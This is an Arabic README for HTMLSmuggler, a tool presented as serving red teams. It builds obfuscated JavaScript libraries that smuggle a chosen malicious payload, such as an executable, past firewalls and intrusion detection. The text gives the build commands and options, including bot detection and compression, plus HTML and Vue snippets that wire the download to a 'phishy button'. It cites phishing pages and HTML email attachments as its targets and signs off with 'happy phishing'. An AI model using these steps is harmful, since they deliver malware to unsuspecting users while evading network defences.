
✉️ مولّد ومُعقّد لـ HTML Smuggling لعمليات فريق Red Team الخاص بك.
HTMLSmuggler - مولد حمولات جافا سكريبت لتجاوز أنظمة كشف التسلل (IDS) وتوصيل الحمولات عبر تهريب HTML.
يمكن العثور على الشرح الكامل لماهية تهريب HTML هنا.
الهدف الأساسي لتهريب HTML هو تجاوز ضوابط أمان الشبكة، مثل جدران الحماية وأنظمة كشف التسلل، عن طريق إخفاء الحمولات الضارة (مثل البرامج القابلة للتنفيذ/الأرشيفات/إلخ...) داخل كود HTML وجافا سكريبت يبدو غير ضار. من خلال استغلال الطبيعة الديناميكية لتطبيقات الويب، يمكن للمهاجمين توصيل محتوى ضار إلى متصفح المستخدم دون إطلاق تنبيهات أمنية أو اكتشافهم بواسطة الآليات الأمنية التقليدية. بفضل هذه التقنية، لا يتم عرض تنزيل ملف ضار بأي شكل من الأشكال في حلول IDS الحديثة.
الهدف الرئيسي لأداة HTMLSmuggler هو إنشاء مكتبة جافا سكريبت مستقلة تحتوي على حمولة ضارة يحددها المستخدم. يمكن دمج هذه المكتبة في مواقع التصيد/مرفقات البريد الإلكتروني HTML/إلخ. لتوصيل الحمولة المضمنة إلى نظام المستخدم المستهدف (تجاوز أنظمة IDS وIPS). يمكن العثور على مثال لمكتبة جافا سكريبت تم إنشاؤها هنا.
قم بتثبيت مدير الحزم yarn.
قم بتثبيت التبعيات:
yarn
اقرأ رسالة المساعدة.
yarn build -h
Options:
-p, --payload <string> Path to payload file you want to smuggle
-n, --name <string> Name of file, that would be downloaded
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
-f, --function <string> Name of exported function (default: "download")
-c, --compress Enable payload compression (gzip)
-d, --delay <number> Delay before antibot and download in ms (default: 0)
-a, --antibot Enable bot detection and block them (recommended)
-h, --help display help for command
(اختياري) قم بتعديل خيارات javascript-obfuscator في obfuscator.js، الإعداد المسبق الخاص بي جيد، لكنه بطيء جدًا.
قم بترجمة حمولة الجافا سكريبت الخاصة بك:
⚠️ تجنب استخدام حمولات أكبر من 3 ميجابايت (انظر الأسئلة الشائعة)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
احصل على حمولتك من dist/payload.esm.js أو dist/payload.umd.js. بعد ذلك، يمكن إدراجها في صفحتك واستدعاؤها بواسطة دالة download() (أو المخصصة المحددة بعلم -f) .
يُستخدم
payload.esm.jsفي استيراداتimport { download } from 'payload.esm';(معيار ECMAScript).يُستخدم
payload.umd.jsفي سمة script SRC في HTML واستيراداتrequire('payload.umd');(CommonJS و AMD و HTML النقي).
يمكن العثور على مثال كامل هنا.
قم بخطوات التحضير.
قم باستيراد البرنامج النصي المُنشأ إلى ملف HTML (أو أدخله بشكل مضمن):
<head>
<script src="payload.umd.js"></script>
</head>
استدع دالة download() من الجسم:
<body>
<button onclick="download()">Some phishy button</button>
</body>
تصيد سعيد :)
يمكن العثور على مثال كامل هنا.
قم بخطوات التحضير.
قم باستيراد البرنامج النصي المُنشأ إلى ملف vue:
<script>
import { download } from './payload.esm';
</script>
استدع دالة download():
<template>
<button @click="download()">Some phishy button</button>
</template>
تصيد سعيد :)
س: لدي خطأ RangeError: Maximum call stack size exceeded، كيف يمكنني حله؟
ج: تم وصف هذه المشكلة هنا. لإصلاحها، حاول تعطيل splitStrings في obfuscator.js أو استخدم حمولة أصغر (يوصى باستخدام حمولات تصل إلى 2 ميجابايت بسبب هذه المشكلة).
س: لماذا يستغرق بناء حمولتي وقتًا طويلاً؟
ج: كلما كانت الحمولة التي تستخدمها أكبر، كلما استغرق إنشاء ملف JS وقتًا أطول. لتقليل وقت البناء، حاول تعطيل splitStrings في obfuscator.js. فيما يلي جدول بأوقات البناء التقريبية باستخدام obfuscator.js الافتراضي.
| حجم الحمولة | وقت البناء |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |